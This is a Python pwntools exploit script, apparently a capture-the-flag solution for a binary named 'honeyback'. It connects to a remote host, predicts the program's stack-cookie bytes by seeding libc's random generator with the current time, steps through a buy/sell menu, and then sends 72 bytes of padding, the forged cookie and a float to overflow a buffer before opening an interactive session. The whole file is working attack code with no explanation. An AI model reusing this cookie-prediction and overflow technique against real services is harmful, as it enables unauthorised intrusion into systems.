# -*- coding: utf-8 -*-
# @Author: m4drat
# @Date:   2019-07-27 00:17:08

import ctypes
import struct
from pwn import *
import sys

local = False

if local:
    ps = process('../binaries/honeyback')
else:
    ps = remote(sys.argv[1], int(sys.argv[2]))

# LIBC = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
LIBC = ctypes.CDLL("libc.so")

def generate_cookie(call_cnt):
    str_ptr = ctypes.c_char_p(b"L>t_sKd>H[j\"A<P0>O\rDPaPb<$t!Q)|FcK|Sj\n=)FYUcrw&T2\rIT&\n4^CT{lCXxX3ru&\'5=FA64V\"rq.2=r9\x0bI\x0b\'kta/RAD@Z]z~0O%ccV!6|l4^_oQHY}j?vsM\rtsbX}PpVDN,]N{,4PC`|!O&|9xzO\n.a&BFHPKmr(5OL\"1j{G}Xc!$bHF$Awt<P|6f\r^qr{kDzjgv\\nPPOY~I\']^nDt\rJ{B-Q1<S\'ccW\\[|@JbAN/c\nGB:GlxLjLw\'viRKl*-")
    LIBC.initstate(LIBC.time(0) + call_cnt, str_ptr, 256)
    LIBC.srandom(LIBC.time(0) + call_cnt)
    return LIBC.random()

def main():
    cookie = [generate_cookie(i) & 0xff for i in range(1, 5)]

    # gdb.attach(ps)
    ps.recv()
    ps.sendline('madrat')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('1')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('1')
    ps.recv()
    ps.sendline('sell')
    ps.recv()    
    ps.sendline('2')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('2')
    ps.recv()
    ps.sendline('change')
    ps.recv()
    ps.sendline('2')
    ps.recv()
    print('cookie bytes:' + '\\x' + '\\x'.join([hex(i)[2:].rjust(2, '0') for i in cookie]))
    ps.sendline('A' * 72 + p32(cookie[3] << 24 | cookie[2] << 16 | cookie[1] << 8 | cookie[0]) + struct.pack('<f', 10000.1))
    ps.recv()
    ps.sendline('sell')
    ps.recv()
    ps.sendline('3')
    ps.recv()
    ps.sendline('sell')
    ps.recv()
    ps.sendline('4')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('1')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('1')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('1')
    ps.recv()
    ps.sendline('buy')
    ps.recv()
    ps.sendline('3')
    ps.interactive()

if __name__ == "__main__":
    main()
